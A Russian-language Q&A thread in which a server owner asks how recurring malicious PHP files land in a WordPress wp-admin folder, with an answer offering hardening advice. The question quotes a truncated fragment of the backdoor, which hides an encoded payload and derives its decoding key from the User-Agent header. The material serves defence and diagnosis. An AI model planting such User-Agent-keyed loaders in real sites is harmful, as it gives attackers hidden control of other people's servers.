Как появляется этот вирус? (Centos 7/Apache/Nginx)

Имею VDS с CentOS 7, Вебсервер Apache MPM-Prefork/Nginx, на нем 5 сайтов, 2 из которых на wordpress (последние версии, постоянно обновляю).

Периодически антивирус ImunifyAV находит файлы в папке site.com/wp-admin/user с похожим названием help-tabs-Az0nZP.php. (примерное содержание этих файлов ниже).

Что делал – менял пароли везде (root, админка), менял права доступа к .htaccess и wp-config.php на 440. Обновления вроде вставлю ядра итп, все автоматически обновляется.

Не могу понять, как эти файлы появляются и где дыра.

<?php
    $string = 'p1qi/LukEIMREd...A8PPE0XLog';
    $ktmp = $_SERVER['HTTP_USER_AGENT'];
    if(preg_match('/pleWebk(.*) \(/is',$ktmp,$kk)){
        $key = $kk[1];
        $key = str_replace('/','p@',$key);
    }else{
        die();
    }
...

Ответы (1 шт):

Автор решения: KAGG Design

Проблемы могут быть в нескольких местах.

  1. "5 сайтов, 2 из них WordPress". Если php код на всех сайтах выполняется под одним пользователем Linux, то заражение может идти с любого сайта. Достаточно взломать самописный php-сайт (а это распространённый случай), и с него уже можно вносить изменения в соседние сайты.
  2. Права доступа. Владелец файлов WP сайта должен быть тот пользователь, под которым выполняется php. Права - 755/644 на файлы/папки.
  3. Избегайте самописных тем и плагинов - их авторы, как правило, не имеют представления о том, что такое безопасный код. Пользуйтесь решениями из официального репозитория WordPress.
  4. Исключите использование взломанных тем или плагинов - это почти 100% гарантия того, что в них содержатся вирусы и бэкдоры (а вы думали, их взламывают из альтруизма?).
  5. Установите Wordfence плагин - он обеспечит непрерывный мониторинг и защиту WP сайта.
  6. Смените все пароли администраторов WP сайтов на надёжные. Заражение сайта может идти через банальную утечку пароля.
→ Ссылка